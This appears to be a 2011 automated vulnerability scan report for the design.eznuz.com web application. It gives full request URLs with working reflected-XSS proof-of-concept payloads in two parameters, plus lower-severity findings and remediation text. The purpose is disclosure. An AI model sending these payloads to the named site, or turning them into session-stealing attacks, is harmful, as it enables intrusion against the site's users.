XSS, design.eznuz.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 08:40:24 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

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1. Cross-site scripting (reflected)

1.1. http://design.eznuz.com/O_DesignTool.cfc [argumentCollection parameter]

1.2. http://design.eznuz.com/designTool.cfm [type parameter]

2. Cookie without HttpOnly flag set

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Email addresses disclosed

5.1. http://design.eznuz.com/Scripts/jquery.facebox.js

5.2. http://design.eznuz.com/designTool.cfm

6. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://design.eznuz.com/O_DesignTool.cfc [argumentCollection parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://design.eznuz.com
Path:   /O_DesignTool.cfc

Issue detail

The value of the argumentCollection request parameter is copied into the HTML document as plain text between tags. The payload 75b53<img%20src%3da%20onerror%3dalert(1)>f29f6b4959c was submitted in the argumentCollection parameter. This input was echoed as 75b53<img src=a onerror=alert(1)>f29f6b4959c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /O_DesignTool.cfc?method=callerFunction&returnFormat=json&argumentCollection=%7B%22portalID%22%3A0%2C%22functionCall%22%3A%22start%22%2C%22dataStruct%22%3A%7B%7D%2C%22returnCase%22%3A%22startReturn%22%2C%22preprocess%22%3A0%7D75b53<img%20src%3da%20onerror%3dalert(1)>f29f6b4959c&_cf_nodebug=true&_cf_nocache=true&_cf_clientid=ABF5CD4101665479C7865760A09B5678&_cf_rc=0 HTTP/1.1
Host: design.eznuz.com
Proxy-Connection: keep-alive
Referer: http://design.eznuz.com/designTool.cfm?type=newsportal,Professional
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=5356301; CFTOKEN=98663685

Response

HTTP/1.1 500 JSON parsing failure at character 96:'7' in {"portalID":0,"functionCall":"start","dataStruct":{},"returnCase":"startReturn","preprocess":0}75b53<img src=a onerror=alert(1)>f29f6b4959c
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Type: text/html
Expires: 0
Server: Microsoft-IIS/7.0
server-error: true
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 17:42:45 GMT
Content-Length: 9414

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
" style="COLOR: black; FONT: 13pt/15pt verdana">
JSON parsing failure at character 96:'7' in {"portalID":0,"functionCall":"start","dataStruct":{},"returnCase":"startReturn","preprocess":0}75b53<img src=a onerror=alert(1)>f29f6b4959c
</h1>
...[SNIP]...

1.2. http://design.eznuz.com/designTool.cfm [type parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://design.eznuz.com
Path:   /designTool.cfm

Issue detail

The value of the type request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8f1f3'%3balert(1)//305f93a156d was submitted in the type parameter. This input was echoed as 8f1f3';alert(1)//305f93a156d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /designTool.cfm?type=8f1f3'%3balert(1)//305f93a156d HTTP/1.1
Host: design.eznuz.com
Proxy-Connection: keep-alive
Referer: http://www.newsportalsite.com/index.cfm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/7.0
Set-Cookie: CFID=5356365;expires=Fri, 08-Mar-2041 17:42:03 GMT;path=/
Set-Cookie: CFTOKEN=12967024;expires=Fri, 08-Mar-2041 17:42:03 GMT;path=/
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 17:42:03 GMT
Content-Length: 68142

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' s
...[SNIP]...
<br>We\'re sorry! Due to server limitations no more 8f1f3';alert(1)//305f93a156d sites can be setup today. \nPlease try again tomorrow. (Central Time, USA)<br>
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://design.eznuz.com
Path:   /designTool.cfm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /designTool.cfm?type=newsportal,Professional HTTP/1.1
Host: design.eznuz.com
Proxy-Connection: keep-alive
Referer: http://www.newsportalsite.com/index.cfm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/7.0
Set-Cookie: CFID=5356354;expires=Fri, 08-Mar-2041 17:42:02 GMT;path=/
Set-Cookie: CFTOKEN=85361168;expires=Fri, 08-Mar-2041 17:42:02 GMT;path=/
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 17:42:02 GMT
Content-Length: 71033

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' s
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://design.eznuz.com
Path:   /designTool.cfm

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /designTool.cfm?type=newsportal,Professional HTTP/1.1
Host: design.eznuz.com
Proxy-Connection: keep-alive
Referer: http://www.newsportalsite.com/index.cfm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/7.0
Set-Cookie: CFID=5356354;expires=Fri, 08-Mar-2041 17:42:02 GMT;path=/
Set-Cookie: CFTOKEN=85361168;expires=Fri, 08-Mar-2041 17:42:02 GMT;path=/
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 17:42:02 GMT
Content-Length: 71033

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' s
...[SNIP]...
<td align="right">
                                           
                                                   <a href="http://www.newsportalsite.com"><img align="right" src="images/ezNuzBlue_BackNewsPortalButton.jpg" border="0">
...[SNIP]...
</script>
       <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
<div style="display:inline;">
               <img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1072227750/?label=LgDjCNew1gEQpsuj_wM&amp;guid=ON&amp;script=0"/>
           </div>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://design.eznuz.com
Path:   /designTool.cfm

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /designTool.cfm?type=newsportal,Professional HTTP/1.1
Host: design.eznuz.com
Proxy-Connection: keep-alive
Referer: http://www.newsportalsite.com/index.cfm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/7.0
Set-Cookie: CFID=5356354;expires=Fri, 08-Mar-2041 17:42:02 GMT;path=/
Set-Cookie: CFTOKEN=85361168;expires=Fri, 08-Mar-2041 17:42:02 GMT;path=/
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 17:42:02 GMT
Content-Length: 71033

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' s
...[SNIP]...
</script>
       <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...

5. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


5.1. http://design.eznuz.com/Scripts/jquery.facebox.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://design.eznuz.com
Path:   /Scripts/jquery.facebox.js

Issue detail

The following email address was disclosed in the response:

Request

GET /Scripts/jquery.facebox.js HTTP/1.1
Host: design.eznuz.com
Proxy-Connection: keep-alive
Referer: http://design.eznuz.com/designTool.cfm?type=newsportal,Professional
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=5356301; CFTOKEN=98663685

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Mon, 27 Dec 2010 16:19:42 GMT
Accept-Ranges: bytes
ETag: "a04e74dee1a5cb1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 17:40:04 GMT
Content-Length: 9328

/*
* Facebox (for jQuery)
* version: 1.2 (05/05/2008)
* @requires jQuery v1.2 or later
*
* Examples at http://famspam.com/facebox/
*
* Licensed under the MIT:
* http://www.opensource.org/licenses/mit-license.php
*
* Copyright 2007, 2008 Chris Wanstrath [ chris@ozmm.org ]
*
* Usage:
*
* jQuery(document).ready(function() {
* jQuery('a[rel*=facebox]').facebox()
* })
*
* <a href="#terms" rel="facebox">
...[SNIP]...

5.2. http://design.eznuz.com/designTool.cfm  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://design.eznuz.com
Path:   /designTool.cfm

Issue detail

The following email address was disclosed in the response:

Request

GET /designTool.cfm HTTP/1.1
Host: design.eznuz.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/7.0
Set-Cookie: CFID=5356626;expires=Fri, 08-Mar-2041 18:04:01 GMT;path=/
Set-Cookie: CFTOKEN=48051727;expires=Fri, 08-Mar-2041 18:04:01 GMT;path=/
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 18:04:01 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' s
...[SNIP]...
<a href="mailto:support@ezNuz.com">support@ezNuz.com</a>
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://design.eznuz.com
Path:   /O_DesignTool.cfc

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /O_DesignTool.cfc?method=callerFunction&returnFormat=json&argumentCollection=%7B%22portalID%22%3A1370%2C%22functionCall%22%3A%22default%22%2C%22dataStruct%22%3A%7B%7D%2C%22returnCase%22%3A%22washReturnStep1%22%2C%22preprocess%22%3A1%7D&_cf_nodebug=true&_cf_nocache=true&_cf_clientid=ABF5CD4101665479C7865760A09B5678&_cf_rc=1 HTTP/1.1
Host: design.eznuz.com
Proxy-Connection: keep-alive
Referer: http://design.eznuz.com/designTool.cfm?type=newsportal,Professional
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=5356301; CFTOKEN=98663685

Response

HTTP/1.1 200 OK
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Type: text/html; charset=UTF-8
Expires: 0
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 17:40:11 GMT
Content-Length: 76

{"MESSAGE":"Success","ERROR":false,"DATA":{},"RETURNCASE":"washReturnStep1"}

Report generated by XSS.CX at Thu Mar 17 08:40:24 CDT 2011.